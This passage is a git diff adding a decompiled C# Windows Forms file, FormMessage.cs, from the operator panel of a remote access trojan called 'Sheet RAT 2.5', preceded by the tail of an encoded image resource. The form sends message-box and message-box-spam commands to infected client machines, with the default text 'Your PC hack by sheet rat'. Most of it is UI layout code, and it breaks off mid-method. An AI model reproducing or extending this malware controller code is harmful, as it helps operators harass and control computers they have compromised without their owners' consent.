bouk706tLXVPEo9KFw9DFfQvx7oBjxd9ZS/j2IPh0u4vd44g/QlF+pTewtv+uDdf8FsC4F+Ssgl9et3JR//DE+kGP9zm/v8R9rBkJ5yG/yecLJPzAJyfr6X1Xex+dheMS0ZrwGxiL/RsQ/mKT86+E37sgubfQpacuUQP4OMD8F+S2zg7v88vwP/9HkH+vPDsaa22FXBO7w6+vk75+ibH382cAjfiF4yNRH/C5wN9Ivhm3VyP8xjIBzgzv6BuvavpLOHf8i04wxBypTkH8Fr7s4+X902Bd2JmaMqXq8d6z5V3gvIrf39nAzgMdqKVxP/6rBQ9DbH3uZltCNXxsBbyF4eYL8+5F+MVzNzxoEHV9dX0lb5/e6fz3oDntTkP81uKTaa/32UI9RJj4DuBhei4j8layxf+/W2elML3MoD/N30MN8Hm5H/EWwFu5C/rZuVz++y6+z+pS0yj/DFYCfwccpyP93+F4g/6RjfDjzTPzLPM5kfCFCD/aUw2/TXgAS9wru9YtAD5/urPG7m3ZuxmDX+n/QJp+Sbvnj1/unmH9m3JiC/Nvgl+7w0Orkzw3u8W/FOCliT/Xtg5uPWwFITPegAByKohyXdf9Ucw6UpiC/Pc7rvmOe5Xf4pl+uacjYDw5E7JFee4vv9SlvACpK6Lq/1/lbM05NQX57os+Q2HjT5Ji3+Nrk+Jt+T7gicBvsjODz/DvheyoASmZ0fm/t34DX/RgPJCm/pQDx2xxzwy9x429ysOP/fkQP89gOXd0dfooS+Wm/NwO4hXFH0vJPNAvhDNf5J9RgR9p2/xyWCWPN3bx+P6In+WyFS1QAlGhP+4v8jb8p5luwKQX518L5wZq/sAZCjPLP9M9hxjHGfB3G8PqjiB3j9RFcoMtvSiZ0/85QmsK0fzPyd3O39+b73b8mGWeq9gE8GvD+CsTPgXcicobf+7z+vAqAEu1NvyLTmtdTUuj82+Bm18nzq9n0q24zcIxfEEaZ+vBl6If4r8G+EB/guRk6qgAoUe789eERt+mXnPx74UF3uW9iivIfXgj+5N8ROMrdz16H92ci/s0wA/E/gMqQnd77BuNpKgBKtFLky++t+2+EbUnKXwGjmO43O+ahHqnGFoKRpmocYRrDRXAP8s9B/HehPARHd/9PrI97tl+fKSUisV/suTTY8b+Y8Y0k5bfMhvY1utxXmxxaBLxxuGkKF8DtiJ8H/4X4H0P5CZK/EuE/hfeRf0LsEdPCPcmnKJFIftD5O8DCFORfDV90XX+xL+iJyHDzWYaxfBlm2iH/pYh/BwxD/PnwJuJvhV2IX56i/PsQfwfYnf7XYD6MRPw/wDXQhQLQirGOe6RXUSKx6ed1/saMwxG/Ikn5/xe+FUz7J5ykD/4T/um7w3yG+ncU2nMGhpjmcDpcDD9A/jvgUcQfDQX8c3OgGPFXQDHiL4a5iD8FchD/cbgffoH8V8EF/jq/Ob+/TnCaz6MJB3qoACiRkX+8G3+L+LuSlP9j+Kl7eGfScVj313YD0fhFYEjCOMQ/HMM7srsuAjeEZtCK920QvxW0QPxm0Ai56waHe/T3z/Drl3CMVz9ffG36KZFK4SGbfl0Z30lSfm/HPy9NO/4nMoMPKQLe0V3x8/vjB3nET+7t78vdR5Irmdb9vVN9z4IVScpfCbnQ/KRO+xVFSbH7e52/KePYJOU3CL8EOjrxx0t+RYle53/WjXdAWZLy/wW+GpzkW6gCoCjRSL6/7i9w4n7LrfuTk/8j+GGw6afuryiRXPefCcuSlL8M/oD0dd3Uf6LkV5TorfsLTRPISVL+ShgJTZz82vRTlAhlsn+9P8df9xckrPurl9/yHK87uCn/OMmvKNGJSbjeX2C+CZuSlN9u+l3our79s2aqAChKdDLRP2dvsjkN6ZckKf9W+HFwrV/rfkWJ2NS/wMnfgPFxqEhC/v3Qg5/X07pfUaKWSaaqABSYG2F7EvIb1vv50MKt+yW/okQs04Lufz7j+iTlL4nlmc87+TXtV5SIpTCQvyVjUZLyvwPfdl0/V7v+ihKtFPg7/jNNHV7fB/uTkH8X3OZ2+vN8FEWJSOxlumnBur8rvJuE/JUwgteN3dRf8itKxDIx2PjrwPhiEvJbiqGjEz9X8itK9Kb+Bf6R3gVmIOJXJCH/Jrg8eLxXN/soSoQy05/6ezOA6+DjJOT31v0jffk19VeUiGWCfxT3ZHMOrE1CfrvuH4n0jXW9X1GimMnB8/1NeJ2bhPyWpcjvrfvHSn5FiVam+PJ73f9W2F1j+fPM36Grkz9f635FiV7yAvm/DBuSkH8f/JF1fx33Z+hkH0WJ4NTfoxkUJCG/pRBaOPl1p5+iRCz5vvzj3Azgt7AnCflfgfPcP5sj+RUleol/AWe++Qq8lYT82+HfnPx6vl9RIiz/JKbw+WZaEvJXwpO8b6Dr/YoS5QIwxtRB/Ltgbw3lt6yAM1z3162+ihLh9X++6QClScj/IVwV7Pjrkp+iRLoA1Ef8brAA8fdXI/9Buv7DdP26rvtr6q8oES8AVfsApyD/HxH/f48iv0H6F6C9k1+X/BQlAzLB7QN4u/ib3bT+q1AEZYfJ/wF0k/yKkokZ76/pvS/qbI70t8KrvvyV0JfXdVUAFCVTYx/ime2v7Sc50btADjwHHSW/omRDxvlP9Hm39zZ26/5yXo+W/IqSHRkezAI8xugxX0VRFEVRFEVRFEVRFEVRFEVRFEVRFEVRFEVRFEVRFEVRFEU5Dvl/PSohQL/daqEAAAAASUVORK5CYIIL + + \ No newline at end of file diff --git a/Server/Server/Forms/FormMessage.cs b/Server/Server/Forms/FormMessage.cs new file mode 100644 index 0000000..974ec6b --- /dev/null +++ b/Server/Server/Forms/FormMessage.cs @@ -0,0 +1,595 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Forms.FormMessage +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using MetroFramework; +using MetroFramework.Controls; +using MetroFramework.Forms; +using Server.Connection; +using Server.Helper.Configs.Themes; +using System; +using System.Windows.Forms; +using System.ComponentModel; +using System.Drawing; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Forms { + +public class FormMessage : MetroForm +{ + public Clients Parrent; + public Clients Plugin; + private IContainer components; + public MetroComboBox MessageBox_Icon; + private MetroLabel metroLabel1; + private Panel panel1; + public MetroComboBox MessageBox_Button; + private MetroLabel metroLabel2; + private MetroLabel metroLabel3; + private MetroTextBox MessageBox_Handle; + private MetroLabel metroLabel4; + private MetroLabel metroLabel5; + private MetroTextBox MessageBox_Message; + private MetroLabel metroLabel6; + private MetroToggle MessageBox_Spam; + private MetroButton MessageBox_Send; + private Panel panel2; + private MetroLabel metroLabel7; + private MetroToggle metroToggle1; + private MetroButton metroButton1; + private MetroLabel metroLabel8; + private MetroTextBox metroTextBox1; + private MetroLabel metroLabel9; + private MetroTextBox metroTextBox2; + private MetroLabel metroLabel10; + private MetroLabel metroLabel11; + private MetroLabel metroLabel12; + public MetroComboBox metroComboBox1; + public MetroComboBox metroComboBox2; + public MetroLabel MessageBox_Return; + public Timer timer1; + + public FormMessage() => this.InitializeComponent(); + + private void FormMessageBox_Load(object sender, EventArgs e) + { + this.FormClosing += (FormClosingEventHandler) ((t, p) => + { + if (this.Plugin == null) + return; + this.Plugin.Disconnected(); + }); + if (Customs.customs.Theme != MetroThemeStyle.Dark) + { + this.Theme = Customs.customs.Theme; + this.metroLabel1.Theme = Customs.customs.Theme; + this.metroLabel2.Theme = Customs.customs.Theme; + this.metroLabel3.Theme = Customs.customs.Theme; + this.metroLabel4.Theme = Customs.customs.Theme; + this.metroLabel5.Theme = Customs.customs.Theme; + this.metroLabel6.Theme = Customs.customs.Theme; + this.metroLabel7.Theme = Customs.customs.Theme; + this.metroLabel8.Theme = Customs.customs.Theme; + this.metroLabel9.Theme = Customs.customs.Theme; + this.metroLabel10.Theme = Customs.customs.Theme; + this.metroLabel11.Theme = Customs.customs.Theme; + this.metroLabel12.Theme = Customs.customs.Theme; + this.MessageBox_Button.Theme = Customs.customs.Theme; + this.MessageBox_Send.Theme = Customs.customs.Theme; + this.MessageBox_Handle.Theme = Customs.customs.Theme; + this.MessageBox_Message.Theme = Customs.customs.Theme; + this.MessageBox_Icon.Theme = Customs.customs.Theme; + this.MessageBox_Spam.Theme = Customs.customs.Theme; + this.MessageBox_Return.Theme = Customs.customs.Theme; + this.panel1.BackColor = Customs.customs.ThemeToColor(); + } + if (Customs.customs.Style == MetroColorStyle.Lime) + return; + this.Style = Customs.customs.Style; + this.metroLabel1.Style = Customs.customs.Style; + this.metroLabel2.Style = Customs.customs.Style; + this.metroLabel3.Style = Customs.customs.Style; + this.metroLabel4.Style = Customs.customs.Style; + this.metroLabel5.Style = Customs.customs.Style; + this.metroLabel6.Style = Customs.customs.Style; + this.metroLabel7.Style = Customs.customs.Style; + this.metroLabel8.Style = Customs.customs.Style; + this.metroLabel9.Style = Customs.customs.Style; + this.metroLabel10.Style = Customs.customs.Style; + this.metroLabel11.Style = Customs.customs.Style; + this.metroLabel12.Style = Customs.customs.Style; + this.MessageBox_Button.Style = Customs.customs.Style; + this.MessageBox_Handle.Style = Customs.customs.Style; + this.MessageBox_Message.Style = Customs.customs.Style; + this.MessageBox_Spam.Style = Customs.customs.Style; + this.MessageBox_Icon.Style = Customs.customs.Style; + this.MessageBox_Send.Style = Customs.customs.Style; + this.MessageBox_Return.Style = Customs.customs.Style; + } + + private void MessageBox_Send_Click(object sender, EventArgs e) + { + if (this.Plugin == null) + return; + this.Plugin.Send((object) $"MessageBox<@>{this.MessageBox_Message.Text}<@>{this.MessageBox_Handle.Text}<@>{this.MessageBox_Button.SelectedIndex.ToString()}<@>{(this.MessageBox_Icon.SelectedIndex * 16 /*0x10*/).ToString()}"); + } + + private void MessageBox_Spam_CheckedChanged(object sender, EventArgs e) + { + if (this.Plugin == null) + this.MessageBox_Spam.Checked = false; + if (this.MessageBox_Spam.Checked) + { + Clients plugin = this.Plugin; + string[] strArray = new string[8] + { + "MessageBoxSpammer+<@>", + this.MessageBox_Message.Text, + "<@>", + this.MessageBox_Handle.Text, + "<@>", + null, + null, + null + }; + int num = this.MessageBox_Button.SelectedIndex; + strArray[5] = num.ToString(); + strArray[6] = "<@>"; + num = this.MessageBox_Icon.SelectedIndex * 16 /*0x10*/; + strArray[7] = num.ToString(); + string message = string.Concat(strArray); + plugin.Send((object) message); + } + else + this.Plugin.Send((object) "MessageBoxSpammer-"); + } + + private void timer1_Tick(object sender, EventArgs e) + { + if (this.Plugin.Connect && this.Parrent.Connect) + return; + this.Close(); + } + + protected override void Dispose(bool disposing) + { + if (disposing && this.components != null) + this.components.Dispose(); + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.components = (IContainer) new System.ComponentModel.Container(); + ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (FormMessage)); + this.MessageBox_Icon = new MetroComboBox(); + this.metroLabel1 = new MetroLabel(); + this.panel1 = new Panel(); + this.MessageBox_Return = new MetroLabel(); + this.metroLabel6 = new MetroLabel(); + this.MessageBox_Spam = new MetroToggle(); + this.MessageBox_Send = new MetroButton(); + this.metroLabel5 = new MetroLabel(); + this.MessageBox_Message = new MetroTextBox(); + this.metroLabel4 = new MetroLabel(); + this.MessageBox_Handle = new MetroTextBox(); + this.metroLabel3 = new MetroLabel(); + this.metroLabel2 = new MetroLabel(); + this.MessageBox_Button = new MetroComboBox(); + this.panel2 = new Panel(); + this.metroLabel7 = new MetroLabel(); + this.metroToggle1 = new MetroToggle(); + this.metroButton1 = new MetroButton(); + this.metroLabel8 = new MetroLabel(); + this.metroTextBox1 = new MetroTextBox(); + this.metroLabel9 = new MetroLabel(); + this.metroTextBox2 = new MetroTextBox(); + this.metroLabel10 = new MetroLabel(); + this.metroLabel11 = new MetroLabel(); + this.metroLabel12 = new MetroLabel(); + this.metroComboBox1 = new MetroComboBox(); + this.metroComboBox2 = new MetroComboBox(); + this.timer1 = new Timer(this.components); + this.panel1.SuspendLayout(); + this.panel2.SuspendLayout(); + this.SuspendLayout(); + this.MessageBox_Icon.FontSize = MetroComboBoxSize.Small; + this.MessageBox_Icon.FormattingEnabled = true; + this.MessageBox_Icon.ItemHeight = 19; + this.MessageBox_Icon.Items.AddRange(new object[5] + { + (object) "None", + (object) "Error", + (object) "Question", + (object) "Warning", + (object) "Information" + }); + this.MessageBox_Icon.Location = new Point(66, 81); + this.MessageBox_Icon.Margin = new Padding(2); + this.MessageBox_Icon.Name = "MessageBox_Icon"; + this.MessageBox_Icon.Size = new Size(236, 25); + this.MessageBox_Icon.Style = MetroColorStyle.Lime; + this.MessageBox_Icon.TabIndex = 37; + this.MessageBox_Icon.Theme = MetroThemeStyle.Dark; + this.MessageBox_Icon.UseSelectable = true; + this.MessageBox_Icon.UseStyleColors = true; + this.metroLabel1.AutoSize = true; + this.metroLabel1.Location = new Point(3, 5); + this.metroLabel1.Name = "metroLabel1"; + this.metroLabel1.Size = new Size(82, 19); + this.metroLabel1.Style = MetroColorStyle.Lime; + this.metroLabel1.TabIndex = 38; + this.metroLabel1.Text = "MessageBox"; + this.metroLabel1.Theme = MetroThemeStyle.Dark; + this.metroLabel1.UseStyleColors = true; + this.panel1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.panel1.Controls.Add((Control) this.MessageBox_Return); + this.panel1.Controls.Add((Control) this.metroLabel6); + this.panel1.Controls.Add((Control) this.MessageBox_Spam); + this.panel1.Controls.Add((Control) this.MessageBox_Send); + this.panel1.Controls.Add((Control) this.metroLabel5); + this.panel1.Controls.Add((Control) this.MessageBox_Message); + this.panel1.Controls.Add((Control) this.metroLabel4); + this.panel1.Controls.Add((Control) this.MessageBox_Handle); + this.panel1.Controls.Add((Control) this.metroLabel3); + this.panel1.Controls.Add((Control) this.metroLabel2); + this.panel1.Controls.Add((Control) this.metroLabel1); + this.panel1.Controls.Add((Control) this.MessageBox_Icon); + this.panel1.Controls.Add((Control) this.MessageBox_Button); + this.panel1.Location = new Point(23, 87); + this.panel1.Name = "panel1"; + this.panel1.Size = new Size(416, 260); + this.panel1.TabIndex = 39; + this.MessageBox_Return.AutoSize = true; + this.MessageBox_Return.Location = new Point(237, 5); + this.MessageBox_Return.Name = "MessageBox_Return"; + this.MessageBox_Return.Size = new Size(86, 19); + this.MessageBox_Return.Style = MetroColorStyle.Lime; + this.MessageBox_Return.TabIndex = 48 /*0x30*/; + this.MessageBox_Return.Text = "Return: None"; + this.MessageBox_Return.Theme = MetroThemeStyle.Dark; + this.MessageBox_Return.UseStyleColors = true; + this.metroLabel6.AutoSize = true; + this.metroLabel6.Location = new Point(313, 183); + this.metroLabel6.Name = "metroLabel6"; + this.metroLabel6.Size = new Size(43, 19); + this.metroLabel6.Style = MetroColorStyle.Lime; + this.metroLabel6.TabIndex = 47; + this.metroLabel6.Text = "Spam"; + this.metroLabel6.Theme = MetroThemeStyle.Dark; + this.metroLabel6.UseStyleColors = true; + this.MessageBox_Spam.AutoSize = true; + this.MessageBox_Spam.Location = new Point(313, 216); + this.MessageBox_Spam.Name = "MessageBox_Spam"; + this.MessageBox_Spam.Size = new Size(80 /*0x50*/, 17); + this.MessageBox_Spam.Style = MetroColorStyle.Lime; + this.MessageBox_Spam.TabIndex = 46; + this.MessageBox_Spam.Text = "Off"; + this.MessageBox_Spam.Theme = MetroThemeStyle.Dark; + this.MessageBox_Spam.UseSelectable = true; + this.MessageBox_Spam.UseStyleColors = true; + this.MessageBox_Spam.CheckedChanged += new EventHandler(this.MessageBox_Spam_CheckedChanged); + this.MessageBox_Send.Location = new Point(66, 210); + this.MessageBox_Send.Name = "MessageBox_Send"; + this.MessageBox_Send.Size = new Size(105, 23); + this.MessageBox_Send.Style = MetroColorStyle.Lime; + this.MessageBox_Send.TabIndex = 45; + this.MessageBox_Send.Text = "Send"; + this.MessageBox_Send.Theme = MetroThemeStyle.Dark; + this.MessageBox_Send.UseSelectable = true; + this.MessageBox_Send.UseStyleColors = true; + this.MessageBox_Send.Click += new EventHandler(this.MessageBox_Send_Click); + this.metroLabel5.AutoSize = true; + this.metroLabel5.Location = new Point(3, 169); + this.metroLabel5.Name = "metroLabel5"; + this.metroLabel5.Size = new Size(60, 19); + this.metroLabel5.Style = MetroColorStyle.Lime; + this.metroLabel5.TabIndex = 44; + this.metroLabel5.Text = "Message"; + this.metroLabel5.Theme = MetroThemeStyle.Dark; + this.metroLabel5.UseStyleColors = true; + this.MessageBox_Message.CustomButton.Image = (Image) null; + this.MessageBox_Message.CustomButton.Location = new Point(214, 1); + this.MessageBox_Message.CustomButton.Name = ""; + this.MessageBox_Message.CustomButton.Size = new Size(21, 21); + this.MessageBox_Message.CustomButton.Style = MetroColorStyle.Blue; + this.MessageBox_Message.CustomButton.TabIndex = 1; + this.MessageBox_Message.CustomButton.Theme = MetroThemeStyle.Light; + this.MessageBox_Message.CustomButton.UseSelectable = true; + this.MessageBox_Message.CustomButton.Visible = false; + this.MessageBox_Message.Lines = new string[1] + { + "Your PC hack by sheet rat" + }; + this.MessageBox_Message.Location = new Point(66, 165); + this.MessageBox_Message.MaxLength = (int) short.MaxValue; + this.MessageBox_Message.Name = "MessageBox_Message"; + this.MessageBox_Message.PasswordChar = char.MinValue; + this.MessageBox_Message.ScrollBars = ScrollBars.None; + this.MessageBox_Message.SelectedText = ""; + this.MessageBox_Message.SelectionLength = 0; + this.MessageBox_Message.SelectionStart = 0; + this.MessageBox_Message.ShortcutsEnabled = true; + this.MessageBox_Message.Size = new Size(236, 23); + this.MessageBox_Message.Style = MetroColorStyle.Lime; + this.MessageBox_Message.TabIndex = 43; + this.MessageBox_Message.Text = "Your PC hack by sheet rat"; + this.MessageBox_Message.Theme = MetroThemeStyle.Dark; + this.MessageBox_Message.UseSelectable = true; + this.MessageBox_Message.UseStyleColors = true; + this.MessageBox_Message.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.MessageBox_Message.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.metroLabel4.AutoSize = true; + this.metroLabel4.Location = new Point(3, 130); + this.metroLabel4.Name = "metroLabel4"; + this.metroLabel4.Size = new Size(50, 19); + this.metroLabel4.Style = MetroColorStyle.Lime; + this.metroLabel4.TabIndex = 42; + this.metroLabel4.Text = "Handle"; + this.metroLabel4.Theme = MetroThemeStyle.Dark; + this.metroLabel4.UseStyleColors = true; + this.MessageBox_Handle.CustomButton.Image = (Image) null; + this.MessageBox_Handle.CustomButton.Location = new Point(214, 1); + this.MessageBox_Handle.CustomButton.Name = ""; + this.MessageBox_Handle.CustomButton.Size = new Size(21, 21); + this.MessageBox_Handle.CustomButton.Style = MetroColorStyle.Blue; + this.MessageBox_Handle.CustomButton.TabIndex = 1; + this.MessageBox_Handle.CustomButton.Theme = MetroThemeStyle.Light; + this.MessageBox_Handle.CustomButton.UseSelectable = true; + this.MessageBox_Handle.CustomButton.Visible = false; + this.MessageBox_Handle.Lines = new string[1]{ "Error" }; + this.MessageBox_Handle.Location = new Point(66, 126); + this.MessageBox_Handle.MaxLength = (int) short.MaxValue; + this.MessageBox_Handle.Name = "MessageBox_Handle"; + this.MessageBox_Handle.PasswordChar = char.MinValue; + this.MessageBox_Handle.ScrollBars = ScrollBars.None; + this.MessageBox_Handle.SelectedText = ""; + this.MessageBox_Handle.SelectionLength = 0; + this.MessageBox_Handle.SelectionStart = 0; + this.MessageBox_Handle.ShortcutsEnabled = true; + this.MessageBox_Handle.Size = new Size(236, 23); + this.MessageBox_Handle.Style = MetroColorStyle.Lime; + this.MessageBox_Handle.TabIndex = 41; + this.MessageBox_Handle.Text = "Error"; + this.MessageBox_Handle.Theme = MetroThemeStyle.Dark; + this.MessageBox_Handle.UseSelectable = true; + this.MessageBox_Handle.UseStyleColors = true; + this.MessageBox_Handle.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.MessageBox_Handle.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.metroLabel3.AutoSize = true; + this.metroLabel3.Location = new Point(3, 87); + this.metroLabel3.Name = "metroLabel3"; + this.metroLabel3.Size = new Size(33, 19); + this.metroLabel3.Style = MetroColorStyle.Lime; + this.metroLabel3.TabIndex = 40; + this.metroLabel3.Text = "Icon"; + this.metroLabel3.Theme = MetroThemeStyle.Dark; + this.metroLabel3.UseStyleColors = true; + this.metroLabel2.AutoSize = true; + this.metroLabel2.Location = new Point(3, 40); + this.metroLabel2.Name = "metroLabel2"; + this.metroLabel2.Size = new Size(47, 19); + this.metroLabel2.Style = MetroColorStyle.Lime; + this.metroLabel2.TabIndex = 39; + this.metroLabel2.Text = "Button"; + this.metroLabel2.Theme = MetroThemeStyle.Dark; + this.metroLabel2.UseStyleColors = true; + this.MessageBox_Button.FontSize = MetroComboBoxSize.Small; + this.MessageBox_Button.FormattingEnabled = true; + this.MessageBox_Button.ItemHeight = 19; + this.MessageBox_Button.Items.AddRange(new object[6] + { + (object) "OK", + (object) "OKCancel", + (object) "AbortRetryIgnore", + (object) "YesNoCancel", + (object) "YesNo", + (object) "RetryCancel" + }); + this.MessageBox_Button.Location = new Point(66, 40); + this.MessageBox_Button.Margin = new Padding(2); + this.MessageBox_Button.Name = "MessageBox_Button"; + this.MessageBox_Button.Size = new Size(236, 25); + this.MessageBox_Button.Style = MetroColorStyle.Lime; + this.MessageBox_Button.TabIndex = 37; + this.MessageBox_Button.Theme = MetroThemeStyle.Dark; + this.MessageBox_Button.UseSelectable = true; + this.MessageBox_Button.UseStyleColors = true; + this.panel2.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.panel2.Controls.Add((Control) this.metroLabel7); + this.panel2.Controls.Add((Control) this.metroToggle1); + this.panel2.Controls.Add((Control) this.metroButton1); + this.panel2.Controls.Add((Control) this.metroLabel8); + this.panel2.Controls.Add((Control) this.metroTextBox1); + this.panel2.Controls.Add((Control) this.metroLabel9); + this.panel2.Controls.Add((Control) this.metroTextBox2); + this.panel2.Controls.Add((Control) this.metroLabel10); + this.panel2.Controls.Add((Control) this.metroLabel11); + this.panel2.Controls.Add((Control) this.metroLabel12); + this.panel2.Controls.Add((Control) this.metroComboBox1); + this.panel2.Controls.Add((Control) this.metroComboBox2); + this.panel2.Location = new Point(468, 87); + this.panel2.Name = "panel2"; + this.panel2.Size = new Size(416, 260); + this.panel2.TabIndex = 48 /*0x30*/; + this.panel2.Visible = false; + this.metroLabel7.AutoSize = true; + this.metroLabel7.Location = new Point(313, 183); + this.metroLabel7.Name = "metroLabel7"; + this.metroLabel7.Size = new Size(43, 19); + this.metroLabel7.Style = MetroColorStyle.Lime; + this.metroLabel7.TabIndex = 47; + this.metroLabel7.Text = "Spam"; + this.metroLabel7.Theme = MetroThemeStyle.Dark; + this.metroLabel7.UseStyleColors = true; + this.metroToggle1.AutoSize = true; + this.metroToggle1.Location = new Point(313, 216); + this.metroToggle1.Name = "metroToggle1"; + this.metroToggle1.Size = new Size(80 /*0x50*/, 17); + this.metroToggle1.Style = MetroColorStyle.Lime; + this.metroToggle1.TabIndex = 46; + this.metroToggle1.Text = "Off"; + this.metroToggle1.Theme = MetroThemeStyle.Dark; + this.metroToggle1.UseSelectable = true; + this.metroToggle1.UseStyleColors = true; + this.metroButton1.Location = new Point(66, 210); + this.metroButton1.Name = "metroButton1"; + this.metroButton1.Size = new Size(105, 23); + this.metroButton1.Style = MetroColorStyle.Lime; + this.metroButton1.TabIndex = 45; + this.metroButton1.Text = "Send"; + this.metroButton1.Theme = MetroThemeStyle.Dark; + this.metroButton1.UseSelectable = true; + this.metroButton1.UseStyleColors = true; + this.metroLabel8.AutoSize = true; + this.metroLabel8.Location = new Point(3, 169); + this.metroLabel8.Name = "metroLabel8"; + this.metroLabel8.Size = new Size(60, 19); + this.metroLabel8.Style = MetroColorStyle.Lime; + this.metroLabel8.TabIndex = 44; + this.metroLabel8.Text = "Message"; + this.metroLabel8.Theme = MetroThemeStyle.Dark; + this.metroLabel8.UseStyleColors = true; + this.metroTextBox1.CustomButton.Image = (Image) null; + this.metroTextBox1.CustomButton.Location = new Point(214, 1); + this.metroTextBox1.CustomButton.Name = ""; + this.metroTextBox1.CustomButton.Size = new Size(21, 21); + this.metroTextBox1.CustomButton.Style = MetroColorStyle.Blue; + this.metroTextBox1.CustomButton.TabIndex = 1; + this.metroTextBox1.CustomButton.Theme = MetroThemeStyle.Light; + this.metroTextBox1.CustomButton.UseSelectable = true; + this.metroTextBox1.CustomButton.Visible = false; + this.metroTextBox1.Lines = new string[1] + { + "Your PC hack by sheet rat" + }; + this.metroTextBox1.Location = new Point(66, 165); + this.metroTextBox1.MaxLength = (int) short.MaxValue; + this.metroTextBox1.Name = "metroTextBox1"; + this.metroTextBox1.PasswordChar = char.MinValue; + this.metroTextBox1.ScrollBars = ScrollBars.None; + this.metroTextBox1.SelectedText = ""; + this.metroTextBox1.SelectionLength = 0; + this.metroTextBox1.SelectionStart = 0; + this.metroTextBox1.ShortcutsEnabled = true; + this.metroTextBox1.Size = new Size(236, 23); + this.metroTextBox1.Style = MetroColorStyle.Lime; + this.metroTextBox1.TabIndex = 43; + this.metroTextBox1.Text = "Your PC hack by sheet rat"; + this.metroTextBox1.Theme = MetroThemeStyle.Dark; + this.metroTextBox1.UseSelectable = true; + this.metroTextBox1.UseStyleColors = true; + this.metroTextBox1.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.metroTextBox1.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.metroLabel9.AutoSize = true; + this.metroLabel9.Location = new Point(3, 130); + this.metroLabel9.Name = "metroLabel9"; + this.metroLabel9.Size = new Size(50, 19); + this.metroLabel9.Style = MetroColorStyle.Lime; + this.metroLabel9.TabIndex = 42; + this.metroLabel9.Text = "Handle"; + this.metroLabel9.Theme = MetroThemeStyle.Dark; + this.metroLabel9.UseStyleColors = true; + this.metroTextBox2.CustomButton.Image = (Image) null; + this.metroTextBox2.CustomButton.Location = new Point(214, 1); + this.metroTextBox2.CustomButton.Name = ""; + this.metroTextBox2.CustomButton.Size = new Size(21, 21); + this.metroTextBox2.CustomButton.Style = MetroColorStyle.Blue; + this.metroTextBox2.CustomButton.TabIndex = 1; + this.metroTextBox2.CustomButton.Theme = MetroThemeStyle.Light; + this.metroTextBox2.CustomButton.UseSelectable = true; + this.metroTextBox2.CustomButton.Visible = false; + this.metroTextBox2.Lines = new string[1]{ "Error" }; + this.metroTextBox2.Location = new Point(66, 126); + this.metroTextBox2.MaxLength = (int) short.MaxValue; + this.metroTextBox2.Name = "metroTextBox2"; + this.metroTextBox2.PasswordChar = char.MinValue; + this.metroTextBox2.ScrollBars = ScrollBars.None; + this.metroTextBox2.SelectedText = ""; + this.metroTextBox2.SelectionLength = 0; + this.metroTextBox2.SelectionStart = 0; + this.metroTextBox2.ShortcutsEnabled = true; + this.metroTextBox2.Size = new Size(236, 23); + this.metroTextBox2.Style = MetroColorStyle.Lime; + this.metroTextBox2.TabIndex = 41; + this.metroTextBox2.Text = "Error"; + this.metroTextBox2.Theme = MetroThemeStyle.Dark; + this.metroTextBox2.UseSelectable = true; + this.metroTextBox2.UseStyleColors = true; + this.metroTextBox2.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.metroTextBox2.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.metroLabel10.AutoSize = true; + this.metroLabel10.Location = new Point(3, 87); + this.metroLabel10.Name = "metroLabel10"; + this.metroLabel10.Size = new Size(33, 19); + this.metroLabel10.Style = MetroColorStyle.Lime; + this.metroLabel10.TabIndex = 40; + this.metroLabel10.Text = "Icon"; + this.metroLabel10.Theme = MetroThemeStyle.Dark; + this.metroLabel10.UseStyleColors = true; + this.metroLabel11.AutoSize = true; + this.metroLabel11.Location = new Point(3, 40); + this.metroLabel11.Name = "metroLabel11"; + this.metroLabel11.Size = new Size(47, 19); + this.metroLabel11.Style = MetroColorStyle.Lime; + this.metroLabel11.TabIndex = 39; + this.metroLabel11.Text = "Button"; + this.metroLabel11.Theme = MetroThemeStyle.Dark; + this.metroLabel11.UseStyleColors = true; + this.metroLabel12.AutoSize = true; + this.metroLabel12.Location = new Point(3, 5); + this.metroLabel12.Name = "metroLabel12"; + this.metroLabel12.Size = new Size(104, 19); + this.metroLabel12.Style = MetroColorStyle.Lime; + this.metroLabel12.TabIndex = 38; + this.metroLabel12.Text = "Notification Icon"; + this.metroLabel12.Theme = MetroThemeStyle.Dark; + this.metroLabel12.UseStyleColors = true; + this.metroComboBox1.FontSize = MetroComboBoxSize.Small; + this.metroComboBox1.FormattingEnabled = true; + this.metroComboBox1.ItemHeight = 19; + this.metroComboBox1.Location = new Point(66, 81); + this.metroComboBox1.Margin = new Padding(2); + this.metroComboBox1.Name = "metroComboBox1"; + this.metroComboBox1.Size = new Size(236, 25); + this.metroComboBox1.Style = MetroColorStyle.Lime; + this.metroComboBox1.TabIndex = 37; + this.metroComboBox1.Theme = MetroThemeStyle.Dark; + this.metroComboBox1.UseSelectable = true; + this.metroComboBox1.UseStyleColors = true; + this.metroComboBox2.FontSize = MetroComboBoxSize.Small; + this.metroComboBox2.FormattingEnabled = true; + this.metroComboBox2.ItemHeight = 19; + this.metroComboBox2.Location = new Point(66, 40); + this.metroComboBox2.Margin = new Padding(2); + this.metroComboBox2.Name = "metroComboBox2"; + this.metroComboBox2.Size = new Size(236, 25); + this.metroComboBox2.Style = MetroColorStyle.Lime; + this.metroComboBox2.TabIndex = 37; + this.metroComboBox2.Theme = MetroThemeStyle.Dark; + this.metroComboBox2.UseSelectable = true; + this.metroComboBox2.UseStyleColors = true; + this.timer1.Interval = 5000; + this.timer1.Tick += new EventHandler(this.timer1_Tick); + this.AutoScaleDimensions = new SizeF(6f, 13f); + 